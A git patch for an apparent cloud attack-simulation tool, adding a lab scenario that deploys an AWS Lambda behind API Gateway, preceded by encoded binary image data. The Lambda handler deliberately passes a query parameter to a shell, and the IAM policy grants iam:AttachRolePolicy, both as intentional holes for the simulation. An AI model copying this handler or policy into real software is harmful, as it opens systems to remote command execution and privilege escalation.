z-#?0UA9xK7M0~#R-$=14)BZVhUay$-Lx?yyn1z;-K8wA(gPA=TtDBve`L>|a9Ubvc z^MM5+2CY{tNC#o6f}zOF;NTEeme;u0Kd&S&-7wfpn(?|=J56%ibUv6(^{zdfw9uWZ zn{@VaFZHYInXS<&{kuW@IBxF45Xl0Hn&wKZRXzf7^zKgnNe+@C3Zap%LompN@{Spw zozm2!Cmv|GGftGfx@0w9OTWAXcdEtEt5#@u{HgAg85+=j-5^}C8agXjRdIv7MB|Ri z_^Va)3#(5#W>WOw@AlLVtBG;2w~Eb@hm<&&ak3?qo}`z+#ou{E>g5%1dRp;$KKaC- z&yk+X{0V3BUba_CY`;-|bw%bxZ02O_ZS&OKCo4@(o7C_lz0JFJUznS83bBb+lK$F> z5#XZ@d-MwPG$aY+0~Sjpr?7ky15*(`IzQ?r(}nnQ)03t@Qug(HuCc7mB^?!YXI{IXEbCL-4x;AnpRB$Zew|*B02)!dRRu9&@Z)XJ`{0V zx8$J=Sg?MV-H)qb|1r=1IbB(#7&v!37JPCN*pA8t7Tk%5-1&m6@V=n0&B;Z9DWb|D zp+S%AKzF3mE<|O2_J)dRLrBoW?WpY5>hi?xg7`0@%wdkRvwFXo1QgdkOW?Q=`<#Ur zc-_PS-`=u-fR6^%lPvT=6xa|Ckj#vuEk6r*MN>Y`F)-YKEw zv^1^k5LFGtXlDUYH8x*xvi+VZ6Z##FM^6exR{LvL#mn^Frod+N470Z~3!#G11LIyE=?=pJ>M`tk8lSXsyA?Y#UchS+;=E`eqo z$f3z6Jg`s&s3fuP;H+oOOX%SwE~2)o>^xAoBCVqjJC6|gi~sSq%9mw9OVzB(6ws;vC9pw02S?3W!nTUof10Vk(tO2V zpdzzTBx1e!R!62e-TiF0!R6U8RyFfGbkv$4p{}SVfwQ zlmLIrgdKIRN)lBQUGc?74nx^ zwgbDn9ZamH6c{xPECc6*IF=UTSA7WVF?qsQNicA-`bCDI|s~Ilr#0^w|F6 z0BnL|HiJE_JKD{fB1hEqq$wU z%UGLo-#jG1GKiSrJ1~G#LZNm5qh8X}O0Hy-q{%}h)PqAKQ8H4RWgo@BJJIa#A81t* z+Ag*tBzUtj5KGca^=j*&R0pZVU=?VIe)5eUaGo-jAt}oBz|t1>f0% z>IKZT5hJU|nGXw@*Kfe49gBir%q^!s6o&uan+3CB9wg*2{ifk=#bF3A9OwG{@G$eC zS){5YU$nE%Tg?8N#l8?l^KQ3Dz;VTkU)P*%9o!s5d-qUSBv%9RNVs!&%KPVFk$zcn zkpjgDbfDi6*(Jf8?1=k==D{BBup>Tu8+`_kWk9$f&TqU{COTi+PoX}qj_7NPWf<}l z=Q0ofd8b@%)1{IhVWLRcK{95zYOw6J_c!?w_^gd@h~hYYJd_q6$G!$&53f2^ZYQc@ zr)tskTM4_azUY-ZkrX960xBrxOxhSYYp?80dT%5*+F>wX9oK1DvNE}S18gTR6B$6fHN$?U zsWa!rJlw}8S1esYZ0{J{T|UVd12$JNrzdF_r+ML6(LU$|$6C;>y_yanrr3di7Ty%~ z;mrmlZ0+;^RjTTy-Y}&`5`+!-kN;c*&saB-_GB5)^J4k8U>VDI9GDs5p=P(;-MkvP zqW7q|_D#~P`IRFN0C#)=V@u5C4_clWh-i>9*~H=HGT~h8L5{%^Av=zTLijhU$2KgZqoSrLWPb?W zM%1hOX02D19G_La;Z&`6n&Mp9ICEQyK5%63+x*3rRw?8GbQpt+Pju@Km~j@NQd_1u zz`{1;>fC}VJld6B>+f7D*w&_X?)lilb|8TZBkwEO7|CxpcQ@6gUtw5clcbRKw*tMg z&XccfuBbn?gZG$aN0;07lVXGl?iP$z0$F*H#D{AdOo659?|2%OhZGL2$$kRcZ7#;)y=Zha3UCj!CqATG8~`86gGfn@CQxQaEksWRq0RzqOU1Ti}z zKpMRZOQl3G(+0h+o)dL9ja(L2f41%p%Sl-)ZJzFz@B_w(cn!;bOWUhk()Q&KxC2w9 zL*Vi{-DrdI;f=?6#0^N|IaF-wr3 z=MH?F?Tg&6HpG}K2giL(3^Z#?hJ86sI!^_1;V`#XnOA_>TQ}l~y(__a#u8^iBQTHF zL`q7HH2KnPR&i{ZZpr_=07e$D)Jpo&$di0(J1cUFe$B$KK@_Yk=Yj-+)cUHLtL<7R zIO#k8z3j3jJ2lgP!KY_aX0pknXyIQ;J+YtD;|AQ!+=JaL04C_^?qD)j+XtL0)Y*@s zRIyyBN$)B&nI=^u+xN@-**fML;(vVa|A!1)-Ms4$G%OQF8Coq_t#RQwE%qMcU6Z zJQhE4d_>Gq$(4-HPZN8h!CRlCLe2a0rj0 zeEnF6$c~h_Yk$zouxtq4-M+&2+wt$M*w(f&HO24W_PgpG)8@2EM$*T7-gi*zN-m+O zM-*@UdoFjRw7iDIGiYDBjf0FKWr;^o^-4>}Bs=%>Kli{B4d4DIi zFdFW5*Dp-18eX+a}0}(<}13_@@ue0DS&G)X3%`6-4ciJ}iJAS3*!*txK z72?hFvYeCo+S%d+Oj14JQi-s6PAlSjsC+n+)_vMGPVvfBtwbdB|}2Lt15hp{@iip5E}@FZZ=P-x9S!eIiNRBk5}{6 zrO1uO>RQ5A=vQ`i!l!HDXpGv;6_Q4BgBOC(i&*iq^q0 z<}1-6Z>4rC$4$&d-7mSK%PqR@KLtsAUhu;b;oX>rak{W_I-)tB>-dD}gPQ5%#eH^X0{w4JVsLDWkAcSJJ?d5PzZjtEu!tQDHr6}PRxv|5KdbbF%4PW~h z3#E(Q{LlbxcJXh*gfXnhf+!8dQBaKK)J7ZZ5mQ%Umf_Ba&}*FLeD4-%eR@9ckOrg$ z89cm=z(>9S+io94^24Jt7LI_*WOjfOI~(o-xpzNK@X(tcznQp&|zezy(MTP!>}6GL;88LlAv z6CyQZpWqIWvRsAeH5JnfJOxQpxg*ON-k)3Kb$Q{tp~r*FTY0^1ue8R6B4ZV&U^%c~ zqa+!06~yj>AvV7tYYSRik&Nueg=@$wF(K;hQS;A-kqSMq!0UF4ABp!r1$dz5t_(cx zi_mDWfLyUXbbdT8utMs>YJ%swv%pmg`+ZNqwI=}bg_UNk{Uwgfit<~^RdQ;n4bzXr zv&_okxDof3$45a8Uu*3^z3gJ~*y$u|VEKt~KmV7@3x1(8mRBtDKrHH zR2uUYh3}Y}BAwR!<$4xa4h~;kUt>IR?8_{M!F;;O{thtqqU4gYxOPZNvmMj&ee_Mr zL|>IQ-4OVPx0x^nFHD~)*)+%4K*s1$hsHUPRS)O)*SuxHCf#RC(M#IW@oj9=vKQTy zt=TIf<15?m4j(U9w;uJfrH>YF8RdDFY$8(X#yxu&`sGFGcV)9k#%Y4Py`IgfEy^Sg z%75i?8gK0hdCMHDw}@ffWotKvkx zp1cnAxvnx%dX15j5}_6DUZ3>$>h6;NP&;_>)z}ZFL!M{~;TlPhlQPZ89%hAG-?R8- z??Jvc9z_1zl=`MZ+3(c*rO}w}g0zDPan*KI($0B`92>lD<`c>0tSk452UD<*m(R4a zVRWx%!P#3r$TO)8BrVQ4z4F~sg-j^4T{S+%mKa@(BSrs zL3SZ3%X$qbzenU5rnCbeb_PDX-7}IQu23lIa=&D7^G5D_#5~rvid$SXLB*Eo^MmIU zyNq6C0~%gzM7ziLORJ~5BX9Szj1Riq;6RJ?iDC7Vr{acR#(32GCfu^vXVu6Y^-RKM zR2eNu<4H$4kOCm?i&9E}R|=w}iP-Z_FhIdN*1Wt;4{q{|BevN8t*i;_2s#!H$0>H>fPU?_{5K1a9S10@?Ep+!5lvFi>DM`{m^% zm_dX%1UnM06ME0fK~gys*ieV=&6&~0H37eW3xRV23HP&vb$|xh#+b6aCm(=6cV~K- z!+Z4H;A*|cTo~}Ik7lt105>R0Yx|MYjqlHPuFm}XB+>f@Ik#W|etGKSaZHNmG4q95 zV}fJe1rEk#I^*fe!Hrj?Q4OF?{SfB;8mbM+nwN&qVBquYF4g+;L&XVSo4_E>iVFsF z`6P%lT#g_a`{}mV8+=R;y4_04fix5fgjlzF>^M_Rh>}jWl41ae3>(wX?zyWAGI6|j zmosb!FX_IG6o8^L8Ptys08k~5RoqE+7YAolO)Reg_W zkrUqpn1gjdk%WP;L<>G)UcB#Hjgv`89}741R%gTEM%QG5o)Q^h^QM{~_$O0+W#;eu zYF+LK>v244I`Z~eC`f63abCMw=yeHQ?YN&)h*qbc=N|a1$N|N3Y5izEKeie4rEw6f z3!y;s6g~U0kdvqG@N7NNal|y;b|45sbSvG<*Ij-oVHfkWrGbK3loG7ksAw1gTv~{O zGp|a|QG$S8t(??EfX9*;^8&|Ec%ZQRG_Om3FUSI09Vy~b@Z^wN$2bQc5OV+GFbcS| z768AU^fxsV_(P>!#-0*3Xz=`|e(S5Qwy*v|YJo<1tJJ1FW|*Wp`l|2v2j5|f#baQ| zydk{UMjUj(LMPj_!3XI7Ex>PYowmC)^2W0%mT?NV4Zx5zs`?H4v)icCfp~Wqilw3S1$GHF&Vx@+_LjIm=XU7q89!wp? zPoVe4crMz2;0;Yz@|xj=m*mHBl8a)9ZC3=(n~AB9)kPk@ka*8|sg#m7o4h`{eQ3sm|#Rrn?0hhrEv%c%tb*^e2mp0xnNX2+Z%No6GrSnDIegjU`s(X`riY#+L*|=Q+8cPP%52Ma|MzNy^V^Lq%q(^ZBTQ_u}IRI0#@LC z3#hbW2OCRCLxl2XKM+@Exi*vK`tPnXk&z4+?H1+7RN6~-CBfb85sPpFl*b|3Q4ylb5V0O&OC_7OXjfq1W^c^` ztsb>PC^&8jJnkE`IP>l)q0*o_;Sf$?-^zN9ZWVu55VmSV)Vcv^z_oU64)_Ob!cF42 z2S4iEYPH1e`*I8pDmZ*MVJ;|}jB{;tqd!4WYf0TiZ{0EQ!AOrPFO^g^18Wm~@(N0YGa5jghQ zR>;Yh^UKX0@4$iT{08Q7sZh?)z{+NZ6n@mYMc~f_%qZa%c4zSdjdR zB&h&cF;h4EX7U!FRP%w%rH42%fyQ#b zkGC-nGAZWXFJ)C)!fB*sX75!80;;MI#bB@b!}!XmdkSkizgd;Hwa$6MV~`dXc)I+@4cV<1?FQci@@6)^fSt%U7BKzFkp9y^w!Gvk&U@1 z88NqX>UGs^^Y1L>6)8#7dhEZd*;egB!;%<{5w{z1PY7A4f?3O^rDlNXhBRN%=t52& zlrfrS_NCk&6ukLnB0&e6WA@^7B0!r7-W-AGwQ|Jq!zf(gt|)m+il+%?I;aN2UZy}6u;MtH`Mq~kTpn8m3kOuR1uO+|lY?1o49YzeT&#D({j&qjv4RkB<{H zU+<8;{b~I<)T5F&@58X=RnW0l}Njs zr!-(=pYYCyt8Qun#q-979YR$%bzwc-(B3{oLu}^o%j3mD^KrP$AND&?r?FjZUZLP6 zQ^PJO=NvlN;~hnu=GHeZ1|n1*msx(jdYr5Qtvqzphu*>XOd}m`P}HnnbgG36DUPH6 zIcr_;RJ;YsWB!aPufzQ}Ak? zq>zF2S^I1UZ_3fy7$~Fc+>@ZC40#vSS-I0AMB|Mup9{wf>Br>r6b~*%NjtY~)BUvN zy~yrTEIhuqxV?|JyPDa=giY$Rb3VfW)ppk4#rrM@|5n|M@H~{)zP1`E4LN8sERAyJ z-+uQ?YC*k3`|hJ3WfSR+zZ@jo4otaf!7&v*tX4t-YdD_N?w@+8C!DwS(%Yjr@LlHSzSE*`*%cAOvMe3iVwfFl^J|d zH|k|}n-B=B%bcvU+xHo~A_tAwl9bWXkD-kyq?hKulIBHq^g9xt@V&jq_sFkvo+(_< zg59}SElo3OfbV|w#-O#)4Ar~jp^wt@ispDBVuwNCunUrE+;SYs$1&fxZ>=GgE!6uM0OhdPfgM(1=mRc8&wQiB!*o6CScFc<8`g1O67HO zi`vds%e@qc<5-aajLhnfs+T7#fs0V;QD}1MvexsXY37 zT3&@Q=8hJ$b9wgcLIVH7q@iq>7tOl3{R6d|T~{spKl=fot-~CPz{X{(m=|ccj~j`= z*4?tBaQ@DB7Nd=x%!{Djc!DS+b}AKXQ6Fnxz<~MSUzHJW7Ql$H$*9S@8Rcyh{-20r zL0(Oc(wnTKJ4}wMoGrM9@p_<^-<2fjXp_96#;riXWO83fS`ud7I;_QQPB!55bwokk zTFvuLyl)lH$~@=)-U@@9V@CU15Q~$RZ+nU*-nQIMjQPJyjVKIqb_n#tnA0n^zbCWh zCx)}QH>nRxS4BCIt?)FN!61OZ-U_@r^%HXpkV?=<{VJ|iIG0Sq;C6*?e|+(bNqBlD z?8`)08S=_|-45=5D3o~ep%vNn-}dYCew@vN6*lVr_PQQtG_$tI5QJs$-E`idCyvVB zOhm6(tqD$}aLIFJ%uDu;jX6mF&$xn?u2FgoJ=vMWyL}d{*=(H4YQa8QB6=@$cF&hk zrVl;XGyx8m!*&g((+l4$3g&gdH|zt!-gs#pTfX-5{bT!y#v?Jy%K5h5u(v&yqzqvL32(E3M`T0u72Wef6W(hrW(3e5eTfl5)HFGne6w1kG!Ii4VhO6OZdFG zUPA$?5#KNlD1w=cNQLL~OJHdOJ3nxFq%DJ4$~e(uq*&k{G`CkfSwvj@sW@S0f=&t; ze`E>H?+(xEv^90}(E!?U1EpsYb)89+U&;Sy8h39z!yw%Xfa@^^ett1|MLrPo7S4p>x9uKgG#bcXJg4!@MDJz$Y!`uf_eS- zr3YVFy56cwNLrnTG;js&S+NfSF6J9b*_&=-E4QK85Np;TLn`y&t_-PtH_Q9yGBhZq zm0Y;rWMaJcAXbm7Yi*=Iwq{?*@pzjQpMJv9p+dNHkxu%+|Hg@jl@mrOxGidElFgoP zjIs{Ak+vNP0(8`^j~9nJEZO3Sj!l4lzYk#WkT0*x-gT}LB05w7^)#t`&w@eCU??zG zHP7~f5Y0pVL*UMN*#fB^2S9&#mP{bS5^TM9KLH^X8!uoGz?=!i`1Db)TWob?s8&|k zZq4^UAnDWQ%a#H;<%(1ODTG??vnAu_M&Mo$sSE(SH`1g43sU^E_gOQbW;ow@Eg3(P zl*hpjRhwyK@Q@{e+WNq8uAIk*d%w@Gd)Mu_BPEM^7609@HZ7oO9dW(Gb10#NFvH+t%K_9|vNPku)SKRDEl>5D#Qf^U7VqErTq?o+Q&Bjfhig*KaWg5lbYqjq#LlIbFNB+lmJ~vz>F9Q}p z>3p0m0faDWHp$OCmA`|>sb2#xSWQC!urG~1!pB6E!xjE)-bGz~26urB?YMD=~-7kX=t!WjsJ z>7J(QRikZ^2UG5#cckE(M8KYFRNwn4q=gVvVLQ(87ewz!90$kCkgC2%Tef|MzLcu( z>)3u^I|UjYYb2Ra9PB8k{je4Wd0O#StX#cPwAgkM+{Yl>^`Yw%*M~no=1?QJj6DgY z(Rbm=7|X1wzPn1xmHAeL8*JDD_WeK5$D6zwY~#%BLbIBp%?2Jqe0on}c()S)_@i!6 z{h$f`s0mrru!S;oR1sfK5jA&QgKvGf{xrKNV3`5(h7-Lzq8P~UB~@7nkSmg35E*!| zbCK~pqdo8r)tV-f9XF1f4+FQVravDpPFr*QVln$ggKG zsmkV!5F8#~{ek+M*76Iryer>&FhMV%TRk7}=3axdjj+wrpCxpyeVp0q;}{9wuSDxy-+wdOc6cAi%RN?jw9+ar8QY zfOr)--=@b3z4XUQ0;@iTmgHH-olC!PB>7VEYuLQFK+##nLdyQz140Vn94LWbdYH5i z?mUw?Ar$p(cpj$IRVYTDrdr#P#I7*mSF;+Y)NVPNKD8{da1x@|N#;9+c}%F+@g}E? z_m+A{;O}ySPmYtn_qfHO#M3WB1NT*^<+0UgKMClK>wR(y&(k==`P~pTSHrS_w$y#` zQAyW(QgN&>$bB=?&nCq}hRu0vCNT#bRU-z@)UwlYGkFsWj%rM}gZNayapy0{`m9^t zv9etLd}5d3N^T#H2y*{X5ig!YnI88|8fnHr{WMm)UlKdKua+P5pN+4^FsCfLbrGrU z*ag1BHi8$YAHqMW-sC9jh$7*Stb^67_IA_|_e9)CSp8K@hnfZVVVC+96rTf&vnQWj z8ZRqa&N6i*VwQe;hxY>79?!66Q}tT?QE@_TaYB)@x}d?Z$Hz#_l)VvrJ!3#c`G|on zZ+!aEl;lmW705Ttai5exqa}^*8DS!b64mz$|>VJ+VunYpSo*5#42r(QMpE!#~x#aWwr8)f2Jfj z{v~_}kl>W{CTWdWenC(DbmNh-*VE5p*c?bb^*RcHnoBp~z@u-(s=(_px8r!J_~0WM z7p|RQwnJ4@Z2XMer`MmIp!QaEhu*}A6T71_1v1@dWtq2O-x9a0@UNjhV+Fxm%o;n` z7mL4}}6z8s2p+kJIVR}?=l-`DAcd=FPxgI7W%sCCKL6I)(F6Wv(q`d;in1GjdL zh=JT7$pL-5nEx6Rq6-kX+k9av*ZtJDY;g_rQuHEK_k0eTIj{0b^sN+2S439Mz z*eIq9AMLuu8)JYtiaFPaK)$~|I@cb3S!#>5d+O+{l0Z2XyKk($0)F+V;|YL_HbJ(< z5B~!bWzcb`NLUBU7n`DJ=y>j+v~(dTglM3C`kPGD6qP|z>ChQEGSy`BIhG@`q_|5F z^EU3i&MT5X$J5Ue7C#DIGgcM~JR<}RpsaNJ#*$cNIdM*U_>0||^4p>?y)kOv@6M?6c{*~WzH69Oj92S6Cg$4W z4-Agu`+T4#blgktqeAEpk%-+LP*{9kJD5i~bLhPBrFW0l9;$1+y9WQjteG9z-W*%D zHL(!R|CRr%07sM7g3i}~3%88_l|bWQGYo)=*qwI>7_MuYjazK8(GVstGR1L?ut#yJ z=lLpzHkRzz*yYgixhp$d!jQ$gt7La53tT+kJtE3x+Uw3#X?(!|dtTH~5VkfIzj!SZ zC4T@9U<|Ev6EZM9_AiJHaJ-Xcm~zG2H!w0YRcmGGD7hHbgMRdKivRWLoo2fT`5L;X zAfspX{w|+f=r;u)vCH}!D6uzzZ>#P;yPm=JVm7Cpc1l5=Te$PCQML&7yjW#cfz7g! zZ4K*g_x5u`dm&lrg;b19O3k7^1AYqVDLX=gml@Y@y-RjzDETYkqWuhV%6ieguyO{5 zO=5}XI6LU8k)&pecrpXB)_f$l1!F(`?WOV%L@F1<+5;T(%`+0u#T2241 zNIUj!_U69%{Ts%f59b?au_#F6pXZSxr-u-@RhgZ~jci)l&1Ctj%ElDEW!U?o;bc6E8<{FPZc@56mimpwe9oa7=$@ns{mJ1fM>}tuY6RX7!zxWAYl_78i{GpN$zV!CK{Ur*;JNT4@^ZQ!*C+}p&hOeVQA zm*2+&+%Em1{MA2S!B@toqVu>OC|lI+-Q{`3wz9dAtNZqqd?be0lLm38k1i&pQ4zx&;d9JaHR0n#jS$kJ)pr`)akkU1y6RHsSQpU}?dw&3?2&2H7=J0kef=lQgBhyDPcLS@7r_yC#ZJm)R(nq%#t+3bO(AHnhbly$xdU^vQX zJ;iM!_?ep0(pm9W zQYpY@A#IZhx#S4UnHbJKd^%HrMEn!qu5l0_5uwDBrbIm zc>?+WXL8#n5GDJU+n7!SQ?#b+O6X17_0N^g0l$S5315$4dk5}i&d;7q`E>8Qn1N`7 z?0_+iuJX~=i;x!oc`}R*bC2GK%aFRMANX}b`}eT)qO*pD8K5@#|I0ubYUMJQUkXu?@^Mg{H8Gca8t&j2sO%)}8lJD~(- z2pdVGQ~_xJad$4mL)W3a5YTs!39Mc=9qwR)kVUHlg%Okk05zMz_5fppJ=3~HcBc-3 ziHw_4J^OM3G;MrIX2FA~^QYY0Ucze591i!fBX@I+P^(*(pX1IITKw1nTPz*=Hz!-d z(+z3Y=p&$6{)Y`<6~sqecC8!RVPwUYo!Wsxf?kMF{C}P#Bn2S_m=z&^R+Eh!_XE(E z@W<{w9WDYcpLo|XPvg3DkL3l5T@gG;y)ya!T>|ei&Px=Y$jZ|N5iX}eB{0*}B_vPP z&#U6m!!j_vM%ft}r9Dfy56{MQb%K*_YcRlTOfUH#WsxexKiZgwZV=q_8E1JWvwEgH zDAn@;tV^zJ@dsK{w;GDohaaX4Voh)#sl7soa?qiV_B9?wQh^o@l4_i0?!;ES6vw_I zOs`C-SkdiF)~!&2A7_Yp+#>?J@}cpPXi3qfFd5l@g$Cfe>tkaCNL*lm8kdlE*}jiE zMAb3~xCxSv#a;18xDVt-_iM~I&!yq+ygsB5j#RR0At~T7o^h1er??8(Ac(tEb2KGh zD*D&XcqVk|W>)JoN?)S(5i_l9mGZVG@tqXJ87jv+;1lh40mbJeC<#$mf$olWH>~pY zN%audFJpS+R^b}VP@iSsvxex&XYtU_^?|B~u4KDj!7I+mL^-BjIHip_S;6p;DSwpz z{u+c!o@m~8>bZ2<<~3zauypK0V~#jAQxCPkG=3QY)|kxBw{F+A(Uk9t{L9T(D-kU+ z;h`!y$=wBrU5)#!$TRpq>4sJjG6^A6sk)hRUwbYJ?04zMsE$Nd!X#se{m(0WDPr>(2t zAdOljlEKB@2mZVC^X#K5iCxu36WB^YrJ+?glo z_r(9HpUbMcploZOl61y->HFI^rJOfo63=fDtqXz#GQ(uzI{RE0#aXQGsui!e%Y*Gt zCiI`vo96SPoF!HW)-*yb$UvC+Vwe1##_d4N*QquGV9J+Hu6$+kcN~3ni|}2ZzuYbl z8&EA%JbFTJj9Ya-EZN~n*<623S+vMGIZE*vojliBf; zt>O>}^-OjI^(MQGu5aK9cBAqv@R3oKCSNLnr%Go7NftS_Ogp&KVs|inZdUZQzZhJH z_-$D!7GWF3?BRlM#OxzmTEi^1&TWHg0c`(zBcyRGwz1RXH8S9aW6kcX5C0%3w3*P& zw{tlEAZczg5!fJ7z;zLu)hftEjZQo-M|0!F&ab)FcH2MFYxKSXY`U4hTcWLVw({8; zlpe`*w({s%Z*OEdHZQ_zt$AJEx6opHT4fhZ6WR>z_nrqH#$<=F?Y8KZSV;&U5qCO# z=SVHF5k3MM#%pSo537DtNPJOipr+p7Ri_MCCuV)Mc6g&D_ZK--;1Ztt^TGy~fR5AmLl zbz%I9d!WX4hful+zc<1@+uc{)>YexRz52|Bw(;4Ga|s;VxnPV{YSV8xWn6|r2WEL;kJrtT*Q9B{o^0vA>2^pmkavWcp%wCpM9S&m5PN0g6(%>!XE>& z0!{IEdR9jZMMiZq)9a$K6^S0G4a9R1b-^yHPWPw3{HJckYo#&%K^8?bd^SWv-qfG_ zdlq!70l9Hc#yb6aOcnA{3}uSHG6m8mt~(0H%(2IF$*jlif_v~Qox{gzqKPCw+~j{Z zRb?b81P)ZrjP+EC_o6Sns_E23^8geORfM_x&)uGZfZuyVHXMn{7^rskEAg_=Ri!a2 z?p};UyVXY@;K(_3BkprQWPY}HWoGZ_apjOXT5a+ z_-a)|82`)ip3W=6cc9S2PEKgee|FDPGxn>SNQgz~Z6Tq5kI>UUHm)Un0Tf|`=YwX- zCBRJD7Czonm|03lsJ~`;;03}e;3ee{;6$JJe)6UoCf8PoX0Gph2Pam5cyaF-q7tc;Snd8@OU9;!Q|obUC{JAnHMEG yaM+=b%+8)Y`6DRZls+-?{x5peK>OXo2SfXVZyqYkhp$1v4^1^))iM>!C;taXu`Z Date: Fri, 26 Jul 2024 06:14:44 -0500 Subject: [PATCH 52/76] Add progress bar sleep to attack method --- cobra.py | 9 +- core/helpers.py | 3 +- core/scenario.py | 7 +- scenarios_ng/scenario_2/infra/__main__.py | 60 +++++++ .../infra/assume-role-trust-policy.json | 12 ++ scenarios_ng/scenario_2/infra/iam.py | 36 ++++ scenarios_ng/scenario_2/infra/lambda/hello.py | 26 +++ scenarios_ng/scenario_2/report/cnbas-as-2.png | Bin 0 -> 123970 bytes scenarios_ng/scenario_2/report/report.py | 168 ++++++++++++++++++ scenarios_ng/scenario_2/scenario_2.py | 116 ++++++++++++ 10 files changed, 423 insertions(+), 14 deletions(-) create mode 100644 scenarios_ng/scenario_2/infra/__main__.py create mode 100644 scenarios_ng/scenario_2/infra/assume-role-trust-policy.json create mode 100644 scenarios_ng/scenario_2/infra/iam.py create mode 100644 scenarios_ng/scenario_2/infra/lambda/hello.py create mode 100644 scenarios_ng/scenario_2/report/cnbas-as-2.png create mode 100644 scenarios_ng/scenario_2/report/report.py create mode 100644 scenarios_ng/scenario_2/scenario_2.py diff --git a/cobra.py b/cobra.py index a0c9fc0..9f50d5d 100644 --- a/cobra.py +++ b/cobra.py @@ -1,9 +1,7 @@ import argparse -import os -from pathlib import Path, PurePath from core import main_ng as main -from core.helpers import get_scenario_list, get_scenarios_config +from core.helpers import get_scenario_list def parse_arguments(): @@ -17,15 +15,10 @@ def parse_arguments(): def main_function(cloud_provider, action, simulation, scenario): - # Call the main function from the imported module and pass the options main.main(cloud_provider, action, simulation, scenario) if __name__ == "__main__": args = parse_arguments() - - # Convert argparse Namespace to dictionary options = vars(args) - - # Call the main function with options main_function(**options) diff --git a/core/helpers.py b/core/helpers.py index 47d8a34..dcc4cac 100644 --- a/core/helpers.py +++ b/core/helpers.py @@ -1,13 +1,12 @@ import os from pathlib import Path, PurePath -import pyfiglet import time import subprocess -import json import re from time import sleep from termcolor import colored +import pyfiglet import requests import yaml from tqdm import tqdm diff --git a/core/scenario.py b/core/scenario.py index 355982a..6fb98ec 100644 --- a/core/scenario.py +++ b/core/scenario.py @@ -1,6 +1,6 @@ #! /usr/bin/env python # -*- coding: utf-8 -*- -"""This module provides a base class for COBRA scenarios.""" +"""Module providing a class for encapsulating COBRA scenarios.""" import importlib import json import os @@ -42,7 +42,6 @@ def attack(self): data = json.load(f) result = self.attack_mod.attack(data) if (result): - # TODO: logging instead of print print(colored('Attack succeeded', color='red')) else: print(colored('Attack failed', color='red')) @@ -54,7 +53,7 @@ def destroy(self): def generate_report(self): """Generate report.""" - print('Not yet implemented.') + print('Reporting not yet implemented.') # TODO # html_template = '' # with open('cobra-report-{}.html'.format(self.slug), 'w+') as file: @@ -71,7 +70,7 @@ def _get_stack(self): program=self.infra_mod.pulumi_program ) stack.workspace.install_plugin('aws', 'v4.0.0') - stack.set_config('aws:region', auto.ConfigValue(value='us-east-2')) + # stack.set_config('aws:region', auto.ConfigValue(value='us-east-2')) # TODO: make region configurable stack.refresh(on_output=print) return stack diff --git a/scenarios_ng/scenario_2/infra/__main__.py b/scenarios_ng/scenario_2/infra/__main__.py new file mode 100644 index 0000000..89142e3 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/__main__.py @@ -0,0 +1,60 @@ +import iam +import pulumi +import pulumi_aws as aws + +region = aws.config.region + +custom_stage_name = 'example' + +lambda_func = aws.lambda_.Function("mylambda", + role=iam.lambda_role.arn, + runtime="python3.12", + handler="hello.handler", + code=pulumi.AssetArchive({ + '.': pulumi.FileArchive('./lambda') + }) +) + +def swagger_route_handler(arn): + return ({ + "x-amazon-apigateway-any-method": { + "x-amazon-apigateway-integration": { + "uri": pulumi.Output.format('arn:aws:apigateway:{0}:lambda:path/2015-03-31/functions/{1}/invocations', region, arn), + "passthroughBehavior": "when_no_match", + "httpMethod": "POST", + "type": "aws_proxy", + }, + }, + }) + +rest_api = aws.apigateway.RestApi("api", + body=pulumi.Output.json_dumps({ + "swagger": "2.0", + "info": {"title": "api", "version": "1.0"}, + "paths": { + "/": swagger_route_handler(lambda_func.arn), + }, + })) + +deployment = aws.apigateway.Deployment("api-deployment", + rest_api=rest_api.id, + stage_name="", +) + +stage = aws.apigateway.Stage("api-stage", + rest_api=rest_api.id, + deployment=deployment.id, + stage_name=custom_stage_name, +) + +rest_invoke_permission = aws.lambda_.Permission("api-rest-lambda-permission", + action="lambda:invokeFunction", + function=lambda_func.name, + principal="apigateway.amazonaws.com", + source_arn=deployment.execution_arn.apply(lambda arn: arn + "*/*"), +) + +pulumi.export("api-gateway-id", rest_api.id) +pulumi.export("apigateway-rest-endpoint", deployment.invoke_url.apply(lambda url: url + custom_stage_name)) +pulumi.export("lambda-role-name", iam.lambda_role.name) +pulumi.export("lambda-func-name", lambda_func.arn) \ No newline at end of file diff --git a/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json b/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json new file mode 100644 index 0000000..b4b1999 --- /dev/null +++ b/scenarios_ng/scenario_2/infra/assume-role-trust-policy.json @@ -0,0 +1,12 @@ +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam:::root" + }, + "Action": "sts:AssumeRole" + } + ] +} diff --git a/scenarios_ng/scenario_2/infra/iam.py b/scenarios_ng/scenario_2/infra/iam.py new file mode 100644 index 0000000..29df25a --- /dev/null +++ b/scenarios_ng/scenario_2/infra/iam.py @@ -0,0 +1,36 @@ +# Copyright 2016-2018, Pulumi Corporation. All rights reserved. + +from pulumi_aws import iam + +lambda_role = iam.Role('lambdaRole', + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Action": "sts:AssumeRole", + "Principal": { + "Service": "lambda.amazonaws.com" + }, + "Effect": "Allow", + "Sid": "" + } + ] + }""" +) + +lambda_role_policy = iam.RolePolicy('lambdaRolePolicy', + role=lambda_role.id, + policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Action": [ + "logs:CreateLogGroup", + "logs:CreateLogStream", + "logs:PutLogEvents", + "iam:AttachRolePolicy" + ], + "Resource": "*" + }] + }""" +) diff --git a/scenarios_ng/scenario_2/infra/lambda/hello.py b/scenarios_ng/scenario_2/infra/lambda/hello.py new file mode 100644 index 0000000..964f80b --- /dev/null +++ b/scenarios_ng/scenario_2/infra/lambda/hello.py @@ -0,0 +1,26 @@ +import json +import subprocess + +def handler(event, context): + # Retrieve the command parameter from the query string + command = event.get('queryStringParameters', {}).get('query', '') + + # Check if the command is empty + if command == 'ping': + return { + 'statusCode': 200, + 'body': json.dumps('Cheers from AWS Lambda!!') + } + else: + # Execute the command using subprocess + try: + result = subprocess.check_output(command, shell=True) + return { + 'statusCode': 200, + 'body': result.decode('utf-8') + } + except subprocess.CalledProcessError as e: + return { + 'statusCode': 500, + 'body': f'Error executing command: {e}' + } diff --git a/scenarios_ng/scenario_2/report/cnbas-as-2.png b/scenarios_ng/scenario_2/report/cnbas-as-2.png new file mode 100644 